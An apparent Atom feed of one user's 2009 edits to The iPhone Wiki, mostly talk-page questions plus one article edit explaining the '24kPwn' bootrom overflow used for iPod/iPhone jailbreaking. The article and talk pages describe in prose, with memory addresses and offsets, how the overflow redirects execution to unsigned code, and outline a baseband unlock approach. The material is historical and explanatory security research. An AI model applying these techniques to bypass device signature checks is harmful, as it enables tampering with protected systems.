* [[iBoot-359.5]]&lt;br /&gt;
&lt;br /&gt;
===[[S5L8930]], used in the [[K48ap|iPad]] and in the [[N90ap|iPhone 4]]===&lt;br /&gt;
* [[iBoot-574.4]]&lt;/div&gt;</summary>
		<author><name>Paul0</name></author>
		
	</entry>
	<entry>
		<id>https://www.theiphonewiki.com/w/index.php?title=Talk:AT%2BXEMN_Heap_Overflow&amp;diff=5363</id>
		<title>Talk:AT+XEMN Heap Overflow</title>
		<link rel="alternate" type="text/html" href="https://www.theiphonewiki.com/w/index.php?title=Talk:AT%2BXEMN_Heap_Overflow&amp;diff=5363"/>
		<updated>2009-11-04T10:40:02Z</updated>

		<summary type="html">&lt;p&gt;Paul0: /* exploit explanation */ new section&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;Don't you think that public discussion of this vulnerability will allow Apple to fix it in the upcoming update and make all this discussions totaly useless? --[[User:Redart|Redart]] 16:34, 28 October 2009 (UTC)&lt;br /&gt;
:Apple will fix it because iH8sn0w disclosed it, not because we are discussing it here. --[[User:Oranav|oranav]] 17:28, 28 October 2009 (UTC)&lt;br /&gt;
:Besides, there is a big install base using the affected baseband. The faster this is converted into a soft unlock, the better. [[User:Haldo|Haldo]] 19:43, 28 October 2009 (UTC)&lt;br /&gt;
&lt;br /&gt;
== exploit explanation ==&lt;br /&gt;
&lt;br /&gt;
geohot, can you explain how the exploit works? heap chunk pointer overwrites?&lt;/div&gt;</summary>
		<author><name>Paul0</name></author>
		
	</entry>
	<entry>
		<id>https://www.theiphonewiki.com/w/index.php?title=User:Paul0&amp;diff=3203</id>
		<title>User:Paul0</title>
		<link rel="alternate" type="text/html" href="https://www.theiphonewiki.com/w/index.php?title=User:Paul0&amp;diff=3203"/>
		<updated>2009-03-13T11:27:11Z</updated>

		<summary type="html">&lt;p&gt;Paul0: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;I know:&amp;lt;br&amp;gt;&lt;br /&gt;
c,php,html,perl,etc.&amp;lt;br&amp;gt;&lt;br /&gt;
buffer overflows (heap and stack, pointer overwrites)&amp;lt;br&amp;gt;&lt;br /&gt;
x86 assembly&amp;lt;br&amp;gt;&lt;br /&gt;
a bit of reverse engineering&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
I am a computer nerd.&amp;lt;br&amp;gt;&lt;br /&gt;
I use ollydbg.&amp;lt;br&amp;gt;&lt;/div&gt;</summary>
		<author><name>Paul0</name></author>
		
	</entry>
	<entry>
		<id>https://www.theiphonewiki.com/w/index.php?title=User:Paul0&amp;diff=3202</id>
		<title>User:Paul0</title>
		<link rel="alternate" type="text/html" href="https://www.theiphonewiki.com/w/index.php?title=User:Paul0&amp;diff=3202"/>
		<updated>2009-03-13T11:26:16Z</updated>

		<summary type="html">&lt;p&gt;Paul0: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;I know:&amp;lt;br&amp;gt;&lt;br /&gt;
c&amp;lt;br&amp;gt;&lt;br /&gt;
buffer overflows (heap and stack, pointer overwrites)&amp;lt;br&amp;gt;&lt;br /&gt;
x86 assembly&amp;lt;br&amp;gt;&lt;br /&gt;
a bit of reverse engineering&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
I am a computer nerd.&amp;lt;br&amp;gt;&lt;/div&gt;</summary>
		<author><name>Paul0</name></author>
		
	</entry>
	<entry>
		<id>https://www.theiphonewiki.com/w/index.php?title=User:Paul0&amp;diff=3201</id>
		<title>User:Paul0</title>
		<link rel="alternate" type="text/html" href="https://www.theiphonewiki.com/w/index.php?title=User:Paul0&amp;diff=3201"/>
		<updated>2009-03-13T11:25:58Z</updated>

		<summary type="html">&lt;p&gt;Paul0: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;I know:&lt;br /&gt;
c&amp;lt;br&amp;gt;&lt;br /&gt;
buffer overflows (heap and stack, pointer overwrites)&lt;br /&gt;
x86 assembly&lt;br /&gt;
a bit of reverse engineering&lt;br /&gt;
&lt;br /&gt;
I am a nerd.&lt;/div&gt;</summary>
		<author><name>Paul0</name></author>
		
	</entry>
	<entry>
		<id>https://www.theiphonewiki.com/w/index.php?title=User:Paul0&amp;diff=3200</id>
		<title>User:Paul0</title>
		<link rel="alternate" type="text/html" href="https://www.theiphonewiki.com/w/index.php?title=User:Paul0&amp;diff=3200"/>
		<updated>2009-03-13T11:25:33Z</updated>

		<summary type="html">&lt;p&gt;Paul0: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;I know:-&lt;br /&gt;
c-&lt;br /&gt;
buffer overflows (heap and stack, pointer overwrites)-&lt;br /&gt;
x86 assembly-&lt;br /&gt;
a bit of reverse engineering-&lt;br /&gt;
-&lt;br /&gt;
I am a nerd.-&lt;/div&gt;</summary>
		<author><name>Paul0</name></author>
		
	</entry>
	<entry>
		<id>https://www.theiphonewiki.com/w/index.php?title=User:Paul0&amp;diff=3199</id>
		<title>User:Paul0</title>
		<link rel="alternate" type="text/html" href="https://www.theiphonewiki.com/w/index.php?title=User:Paul0&amp;diff=3199"/>
		<updated>2009-03-13T11:25:14Z</updated>

		<summary type="html">&lt;p&gt;Paul0: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;I know:&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
c&lt;br /&gt;
buffer overflows (heap and stack, pointer overwrites)&lt;br /&gt;
x86 assembly&lt;br /&gt;
a bit of reverse engineering&lt;br /&gt;
&lt;br /&gt;
I am a nerd.&lt;/div&gt;</summary>
		<author><name>Paul0</name></author>
		
	</entry>
	<entry>
		<id>https://www.theiphonewiki.com/w/index.php?title=Talk:0x24000_Segment_Overflow&amp;diff=3198</id>
		<title>Talk:0x24000 Segment Overflow</title>
		<link rel="alternate" type="text/html" href="https://www.theiphonewiki.com/w/index.php?title=Talk:0x24000_Segment_Overflow&amp;diff=3198"/>
		<updated>2009-03-13T11:23:25Z</updated>

		<summary type="html">&lt;p&gt;Paul0: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;I have questions.&lt;br /&gt;
What is the LR?&lt;br /&gt;
How do we write to the NOR?&lt;br /&gt;
&lt;br /&gt;
LR is the link register.  it usually contains a pointer to where the current routine is to return to.&lt;br /&gt;
NOR is written by putting the device into dfu mode and writing to the nor0 block device using a tools like iRecovery&lt;br /&gt;
--[[User:Posixninja|posixninja]] 17:58, 12 March 2009 (UTC)&lt;br /&gt;
&lt;br /&gt;
I rewrote the article as one geared more toward the technical/security community than hobbyists trying to manually perform the patch. My hope is that it will be more useful in this form for the linux4nano community, who are trying to jailbreak the iPod Nano 4G, which apparently uses the same SoC. --[[User:Planetbeing|Planetbeing]] 07:46, 13 March 2009 (UTC)&lt;br /&gt;
&lt;br /&gt;
Nice work guys. Did you use a debugger of some sort? this would be difficult without a debugger. Here's how I understand it, so we overwrite pointers pointing to where and what data is written. By writing to the stack, we can overwrite the subroutine's return address(LR). The subroutine will now return to the payload. Is this correct?--[[User:Paul0|paulzero]] 11:23, 13 March 2009 (UTC)&lt;/div&gt;</summary>
		<author><name>Paul0</name></author>
		
	</entry>
	<entry>
		<id>https://www.theiphonewiki.com/w/index.php?title=User:Paul0&amp;diff=3197</id>
		<title>User:Paul0</title>
		<link rel="alternate" type="text/html" href="https://www.theiphonewiki.com/w/index.php?title=User:Paul0&amp;diff=3197"/>
		<updated>2009-03-13T11:22:59Z</updated>

		<summary type="html">&lt;p&gt;Paul0: New page: I know: c buffer overflows (heap and stack, pointer overwrites) x86 assembly a bit of reverse engineering&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;I know:&lt;br /&gt;
c&lt;br /&gt;
buffer overflows (heap and stack, pointer overwrites)&lt;br /&gt;
x86 assembly&lt;br /&gt;
a bit of reverse engineering&lt;/div&gt;</summary>
		<author><name>Paul0</name></author>
		
	</entry>
	<entry>
		<id>https://www.theiphonewiki.com/w/index.php?title=Talk:Ultrasn0w&amp;diff=3190</id>
		<title>Talk:Ultrasn0w</title>
		<link rel="alternate" type="text/html" href="https://www.theiphonewiki.com/w/index.php?title=Talk:Ultrasn0w&amp;diff=3190"/>
		<updated>2009-03-13T06:24:29Z</updated>

		<summary type="html">&lt;p&gt;Paul0: /* more info needed */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Darkmen's analysis ==&lt;br /&gt;
&lt;br /&gt;
This analysis is somewhat incomplete, as it leaves out stage 2 of the injector that performs the hex to binary conversion for the payload. As it stands, the comment for offset 4 of the &amp;quot;Code loader&amp;quot; (internally called &amp;quot;stage 1&amp;quot; of the injector), the one that says &amp;quot;at-handler buffer where StrToHex result of the at-command is&amp;quot; is incorrect. The reason for the error is probably that the reverse engineer used &amp;quot;strings&amp;quot; on the yellowsn0w executable to find the injected payload of yellowsn0w and since the injector's stage 2 is in binary (the contents of memory at 0x40159FBF is thus ready-to-execute binary code, albeit misaligned), &amp;quot;strings&amp;quot;, therefore, would not have yielded the code for stage 2. Overall, though, my cursory examination seems to indicate that the rest of the analysis (of the &amp;quot;meat&amp;quot; of the thing) is fairly accurate and commendable. :)&lt;br /&gt;
&lt;br /&gt;
--[[User:Planetbeing|Planetbeing]] 23:12, 8 January 2009 (UTC)&lt;br /&gt;
&lt;br /&gt;
Its true. I just took the at-string from the iphone wiki post ;) Anyway, my point was to get main idea&lt;br /&gt;
&lt;br /&gt;
--[[User:Darkmen|Darkmen]] 07:31, 9 January 2009 (UTC)&lt;br /&gt;
&lt;br /&gt;
My bad man, I copied and pasted it from IDA (along with converting what it converted to a string to hex). I didn't realize there was more :P&lt;br /&gt;
&lt;br /&gt;
--[[User:ChronicDev|ChronicDev]] 12:05, 9 January 2009 (UTC)&lt;br /&gt;
&lt;br /&gt;
== Geohot's commentary ==&lt;br /&gt;
&lt;br /&gt;
Thinking about this, I know how I could've done the unlock. I'm so lazy. This might be what yellowsn0w does already; theres a little object code in your source, so I don't know :-)&lt;br /&gt;
&lt;br /&gt;
 1. copy task_sim into memory&lt;br /&gt;
 2. patch task_sim in the usual way(too bad i don't really understand the baseband at all)&lt;br /&gt;
 3. modify the nucleus task struct to use the in memory task_sim(although idk why theres no execute on the stack, normal ram seems ok)&lt;br /&gt;
 4. reset the sim card&lt;br /&gt;
&lt;br /&gt;
no real reversing required. i could've had this in july dammit :-P&lt;br /&gt;
&lt;br /&gt;
i also think this approach might solve some peoples problems with it dying after 10 minutes&lt;br /&gt;
&lt;br /&gt;
~geohot&lt;br /&gt;
&lt;br /&gt;
== Payload vs injection vector ==&lt;br /&gt;
&lt;br /&gt;
I edited the page in a way I felt was more accurate. Geohot deserves massive props for finding the vuln in 2.28, and maybe there should be a separate &amp;quot;iPhone 3G Unlock&amp;quot; page that notes that more prominently (noting the 2.2 unlock was dev team's payload with geohot's vuln), but yellowsn0w IS the payload and it doesn't make sense to give separate credits on this page for the injection vector.&lt;br /&gt;
&lt;br /&gt;
I don't know much about how yellowsn0w works myself, but I understand it took a lot of careful reverse engineering of the Nucleus OS and baseband tasks in order to pull off, so the payload honestly doesn't take the backseat to the vuln in this case.&lt;br /&gt;
&lt;br /&gt;
--[[User:Planetbeing|Planetbeing]] 16:47, 3 January 2009 (UTC)&lt;br /&gt;
&lt;br /&gt;
== nx ==&lt;br /&gt;
&lt;br /&gt;
heh, I think it is a standard thing for ARM for the stack to be nx. btw, of course there was reversing required, how else would you have found the injection hack itself x)&lt;br /&gt;
&lt;br /&gt;
== About AT+STKPROF exploit ==&lt;br /&gt;
&lt;br /&gt;
Does only 2.28 vulnerable to at+stkprof exploit?&lt;br /&gt;
&lt;br /&gt;
== RE: About AT+STKPROF exploit ==&lt;br /&gt;
&lt;br /&gt;
afaik all versions 1.45 through 2.28 are vulnerable, but devteam only designed a payload for 2.28. not 100% on that though.&lt;br /&gt;
&lt;br /&gt;
== more info needed ==&lt;br /&gt;
&lt;br /&gt;
because of my inability to understand ARM, I have questions: what addresses are patched? how exactly does it patch? why is it calling NU_Receive_From_Mailbox()?--[[User:Paul0|paulzero]] 06:24, 13 March 2009 (UTC)&lt;/div&gt;</summary>
		<author><name>Paul0</name></author>
		
	</entry>
	<entry>
		<id>https://www.theiphonewiki.com/w/index.php?title=Talk:Pwnage_2.0&amp;diff=3189</id>
		<title>Talk:Pwnage 2.0</title>
		<link rel="alternate" type="text/html" href="https://www.theiphonewiki.com/w/index.php?title=Talk:Pwnage_2.0&amp;diff=3189"/>
		<updated>2009-03-13T06:24:29Z</updated>

		<summary type="html">&lt;p&gt;Paul0: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;can anyone post the file structure for the certificate and the malformed certificate?--[[User:Paul0|paulzero]] 06:24, 13 March 2009 (UTC)&lt;/div&gt;</summary>
		<author><name>Paul0</name></author>
		
	</entry>
	<entry>
		<id>https://www.theiphonewiki.com/w/index.php?title=0x24000_Segment_Overflow&amp;diff=3188</id>
		<title>0x24000 Segment Overflow</title>
		<link rel="alternate" type="text/html" href="https://www.theiphonewiki.com/w/index.php?title=0x24000_Segment_Overflow&amp;diff=3188"/>
		<updated>2009-03-13T06:20:56Z</updated>

		<summary type="html">&lt;p&gt;Paul0: /* Prerequisites */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;Also known by it's codename, &amp;quot;24kPwn&amp;quot;, this was the first exploit in the [[S5L8720]] that allowed us to bypass the bootrom signature checks on [[LLB]] and create what is known as an [[untethered jailbreak]].&lt;br /&gt;
&lt;br /&gt;
==Note==&lt;br /&gt;
It is unclear how, but the company &amp;quot;NitroKey&amp;quot; is selling this. We were planning on holding back for the new iPhone (which subsequently could mean an iPod 3G as well), but now that they are profiteering off of this we would like to explain exactly how this works as soon as possible so people do not have to pay for it. I apologize if the wording is odd, as I wrote it up a little while ago, planning to post it this summer.&lt;br /&gt;
&lt;br /&gt;
==Credit==&lt;br /&gt;
chronic, CPICH, ius, planetbeing, pod2g, posixninja, and co.&lt;br /&gt;
&lt;br /&gt;
==Exploit==&lt;br /&gt;
The address that the bootrom loads [[LLB]] into is 0x22000000, and for some reason, it stores it's global variables dangerously close, at 0x22024000. Now, when loading [[LLB]] from [[NOR]], it does not have any sort of maximum size limit, (unlike if it was receiving a file via USB). With an LLB with a size greater then 0x24000, you can gracefully overwrite, and change many of these global variables. Although, for some parts, you may need to reconstruct, with the original data. There are a few different ways you could exploit this to actually run unsigned code at this level. So far the easiest one found is based on another fail decision that Apple made. For some reason, they put the SHA1 hardware address array smack dab in our way. By changing the address at SHA1 Data Input Register 1 (LLB @ 0x240fc), bootrom will attempt to write whatever should be written into sha1, into whatever address we have specified. So, since we can now write to any location in memory, we specify it to point to and overwrite where the current LR is on the stack (0x2202fe24). Now when bootrom starts to copy data over into sha1 register, instead it will actually be overwriting it's own return address and will put whatever address is at 0x20 of the LLB image in LR. Now just add the address of your payload (that's stored somewhere in the padding preferably) into 0x20 of LLB, and it will be executed! For the payload it's wise to put the original bytes that were in 0x20 back, and to restore the proper sha1 hardware address, as well as clean up the stack a little bit before doing your thing and jumping back into code. Also, another important thing to remember is that you must 1. add 0x22000000 to whatever the offset of your payload is in the file, since that is where it loads LLB in memory, and 2. reverse it for endianess.&lt;br /&gt;
&lt;br /&gt;
==Prerequisites==&lt;br /&gt;
Because files sent over USB have a size limitation, one thing that is the ability to flash the [[NOR]] unsigned. This can be done by putting the device into dfu mode and writing to the nor0 block device using a tools like iRecovery.&lt;br /&gt;
&lt;br /&gt;
[[Category:Exploits]]&lt;/div&gt;</summary>
		<author><name>Paul0</name></author>
		
	</entry>
	<entry>
		<id>https://www.theiphonewiki.com/w/index.php?title=Talk:0x24000_Segment_Overflow&amp;diff=3187</id>
		<title>Talk:0x24000 Segment Overflow</title>
		<link rel="alternate" type="text/html" href="https://www.theiphonewiki.com/w/index.php?title=Talk:0x24000_Segment_Overflow&amp;diff=3187"/>
		<updated>2009-03-13T06:07:05Z</updated>

		<summary type="html">&lt;p&gt;Paul0: Undo revision 3184 by Paul0 (Talk)&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;I have questions.&lt;br /&gt;
What is the LR?&lt;br /&gt;
How do we write to the NOR?&lt;br /&gt;
&lt;br /&gt;
LR is the link register.  it usually contains a pointer to where the current routine is to return to.&lt;br /&gt;
NOR is written by putting the device into dfu mode and writing to the nor0 block device using a tools like iRecovery&lt;br /&gt;
--[[User:Posixninja|posixninja]] 17:58, 12 March 2009 (UTC)&lt;/div&gt;</summary>
		<author><name>Paul0</name></author>
		
	</entry>
	<entry>
		<id>https://www.theiphonewiki.com/w/index.php?title=Talk:0x24000_Segment_Overflow&amp;diff=3186</id>
		<title>Talk:0x24000 Segment Overflow</title>
		<link rel="alternate" type="text/html" href="https://www.theiphonewiki.com/w/index.php?title=Talk:0x24000_Segment_Overflow&amp;diff=3186"/>
		<updated>2009-03-13T06:06:43Z</updated>

		<summary type="html">&lt;p&gt;Paul0: Undo revision 3185 by Paul0 (Talk)&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;I have questions.&lt;br /&gt;
What is the LR?&lt;br /&gt;
How do we write to the NOR?&lt;br /&gt;
[[User:Paul0|paulzero]]&lt;br /&gt;
LR is the link register.  it usually contains a pointer to where the current routine is to return to.&lt;br /&gt;
NOR is written by putting the device into dfu mode and writing to the nor0 block device using a tools like iRecovery&lt;br /&gt;
--[[User:Posixninja|posixninja]] 17:58, 12 March 2009 (UTC)&lt;/div&gt;</summary>
		<author><name>Paul0</name></author>
		
	</entry>
	<entry>
		<id>https://www.theiphonewiki.com/w/index.php?title=Talk:0x24000_Segment_Overflow&amp;diff=3185</id>
		<title>Talk:0x24000 Segment Overflow</title>
		<link rel="alternate" type="text/html" href="https://www.theiphonewiki.com/w/index.php?title=Talk:0x24000_Segment_Overflow&amp;diff=3185"/>
		<updated>2009-03-13T06:03:29Z</updated>

		<summary type="html">&lt;p&gt;Paul0: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;I have questions.&lt;br /&gt;
What is the LR?&lt;br /&gt;
How do we write to the NOR?&lt;br /&gt;
--06:03, 13 March 2009 (UTC)~~&lt;br /&gt;
LR is the link register.  it usually contains a pointer to where the current routine is to return to.&lt;br /&gt;
NOR is written by putting the device into dfu mode and writing to the nor0 block device using a tools like iRecovery&lt;br /&gt;
--[[User:Posixninja|posixninja]] 17:58, 12 March 2009 (UTC)&lt;/div&gt;</summary>
		<author><name>Paul0</name></author>
		
	</entry>
	<entry>
		<id>https://www.theiphonewiki.com/w/index.php?title=Talk:0x24000_Segment_Overflow&amp;diff=3184</id>
		<title>Talk:0x24000 Segment Overflow</title>
		<link rel="alternate" type="text/html" href="https://www.theiphonewiki.com/w/index.php?title=Talk:0x24000_Segment_Overflow&amp;diff=3184"/>
		<updated>2009-03-13T06:02:56Z</updated>

		<summary type="html">&lt;p&gt;Paul0: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;I have questions.&lt;br /&gt;
What is the LR?&lt;br /&gt;
How do we write to the NOR?&lt;br /&gt;
[[User:Paul0|paulzero]]&lt;br /&gt;
LR is the link register.  it usually contains a pointer to where the current routine is to return to.&lt;br /&gt;
NOR is written by putting the device into dfu mode and writing to the nor0 block device using a tools like iRecovery&lt;br /&gt;
--[[User:Posixninja|posixninja]] 17:58, 12 March 2009 (UTC)&lt;/div&gt;</summary>
		<author><name>Paul0</name></author>
		
	</entry>
	<entry>
		<id>https://www.theiphonewiki.com/w/index.php?title=Talk:Ultrasn0w&amp;diff=3177</id>
		<title>Talk:Ultrasn0w</title>
		<link rel="alternate" type="text/html" href="https://www.theiphonewiki.com/w/index.php?title=Talk:Ultrasn0w&amp;diff=3177"/>
		<updated>2009-03-12T12:22:04Z</updated>

		<summary type="html">&lt;p&gt;Paul0: /* more info needed */ new section&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Darkmen's analysis ==&lt;br /&gt;
&lt;br /&gt;
This analysis is somewhat incomplete, as it leaves out stage 2 of the injector that performs the hex to binary conversion for the payload. As it stands, the comment for offset 4 of the &amp;quot;Code loader&amp;quot; (internally called &amp;quot;stage 1&amp;quot; of the injector), the one that says &amp;quot;at-handler buffer where StrToHex result of the at-command is&amp;quot; is incorrect. The reason for the error is probably that the reverse engineer used &amp;quot;strings&amp;quot; on the yellowsn0w executable to find the injected payload of yellowsn0w and since the injector's stage 2 is in binary (the contents of memory at 0x40159FBF is thus ready-to-execute binary code, albeit misaligned), &amp;quot;strings&amp;quot;, therefore, would not have yielded the code for stage 2. Overall, though, my cursory examination seems to indicate that the rest of the analysis (of the &amp;quot;meat&amp;quot; of the thing) is fairly accurate and commendable. :)&lt;br /&gt;
&lt;br /&gt;
--[[User:Planetbeing|Planetbeing]] 23:12, 8 January 2009 (UTC)&lt;br /&gt;
&lt;br /&gt;
Its true. I just took the at-string from the iphone wiki post ;) Anyway, my point was to get main idea&lt;br /&gt;
&lt;br /&gt;
--[[User:Darkmen|Darkmen]] 07:31, 9 January 2009 (UTC)&lt;br /&gt;
&lt;br /&gt;
My bad man, I copied and pasted it from IDA (along with converting what it converted to a string to hex). I didn't realize there was more :P&lt;br /&gt;
&lt;br /&gt;
--[[User:ChronicDev|ChronicDev]] 12:05, 9 January 2009 (UTC)&lt;br /&gt;
&lt;br /&gt;
== Geohot's commentary ==&lt;br /&gt;
&lt;br /&gt;
Thinking about this, I know how I could've done the unlock. I'm so lazy. This might be what yellowsn0w does already; theres a little object code in your source, so I don't know :-)&lt;br /&gt;
&lt;br /&gt;
 1. copy task_sim into memory&lt;br /&gt;
 2. patch task_sim in the usual way(too bad i don't really understand the baseband at all)&lt;br /&gt;
 3. modify the nucleus task struct to use the in memory task_sim(although idk why theres no execute on the stack, normal ram seems ok)&lt;br /&gt;
 4. reset the sim card&lt;br /&gt;
&lt;br /&gt;
no real reversing required. i could've had this in july dammit :-P&lt;br /&gt;
&lt;br /&gt;
i also think this approach might solve some peoples problems with it dying after 10 minutes&lt;br /&gt;
&lt;br /&gt;
~geohot&lt;br /&gt;
&lt;br /&gt;
== Payload vs injection vector ==&lt;br /&gt;
&lt;br /&gt;
I edited the page in a way I felt was more accurate. Geohot deserves massive props for finding the vuln in 2.28, and maybe there should be a separate &amp;quot;iPhone 3G Unlock&amp;quot; page that notes that more prominently (noting the 2.2 unlock was dev team's payload with geohot's vuln), but yellowsn0w IS the payload and it doesn't make sense to give separate credits on this page for the injection vector.&lt;br /&gt;
&lt;br /&gt;
I don't know much about how yellowsn0w works myself, but I understand it took a lot of careful reverse engineering of the Nucleus OS and baseband tasks in order to pull off, so the payload honestly doesn't take the backseat to the vuln in this case.&lt;br /&gt;
&lt;br /&gt;
--[[User:Planetbeing|Planetbeing]] 16:47, 3 January 2009 (UTC)&lt;br /&gt;
&lt;br /&gt;
== nx ==&lt;br /&gt;
&lt;br /&gt;
heh, I think it is a standard thing for ARM for the stack to be nx. btw, of course there was reversing required, how else would you have found the injection hack itself x)&lt;br /&gt;
&lt;br /&gt;
== About AT+STKPROF exploit ==&lt;br /&gt;
&lt;br /&gt;
Does only 2.28 vulnerable to at+stkprof exploit?&lt;br /&gt;
&lt;br /&gt;
== RE: About AT+STKPROF exploit ==&lt;br /&gt;
&lt;br /&gt;
afaik all versions 1.45 through 2.28 are vulnerable, but devteam only designed a payload for 2.28. not 100% on that though.&lt;br /&gt;
&lt;br /&gt;
== more info needed ==&lt;br /&gt;
&lt;br /&gt;
because of my inability to understand ARM, I have questions: what addresses are patched? how exactly does it patch? why is it calling NU_Receive_From_Mailbox()?&lt;/div&gt;</summary>
		<author><name>Paul0</name></author>
		
	</entry>
	<entry>
		<id>https://www.theiphonewiki.com/w/index.php?title=Talk:Pwnage_2.0&amp;diff=3176</id>
		<title>Talk:Pwnage 2.0</title>
		<link rel="alternate" type="text/html" href="https://www.theiphonewiki.com/w/index.php?title=Talk:Pwnage_2.0&amp;diff=3176"/>
		<updated>2009-03-12T12:18:42Z</updated>

		<summary type="html">&lt;p&gt;Paul0: New page: can anyone post the file structure for the certificate and the malformed certificate?&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;can anyone post the file structure for the certificate and the malformed certificate?&lt;/div&gt;</summary>
		<author><name>Paul0</name></author>
		
	</entry>
	<entry>
		<id>https://www.theiphonewiki.com/w/index.php?title=Talk:0x24000_Segment_Overflow&amp;diff=3175</id>
		<title>Talk:0x24000 Segment Overflow</title>
		<link rel="alternate" type="text/html" href="https://www.theiphonewiki.com/w/index.php?title=Talk:0x24000_Segment_Overflow&amp;diff=3175"/>
		<updated>2009-03-12T12:15:22Z</updated>

		<summary type="html">&lt;p&gt;Paul0: New page: I have questions. What is the LR? How do we write to the NOR?&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;I have questions.&lt;br /&gt;
What is the LR?&lt;br /&gt;
How do we write to the NOR?&lt;/div&gt;</summary>
		<author><name>Paul0</name></author>
		
	</entry>
</feed>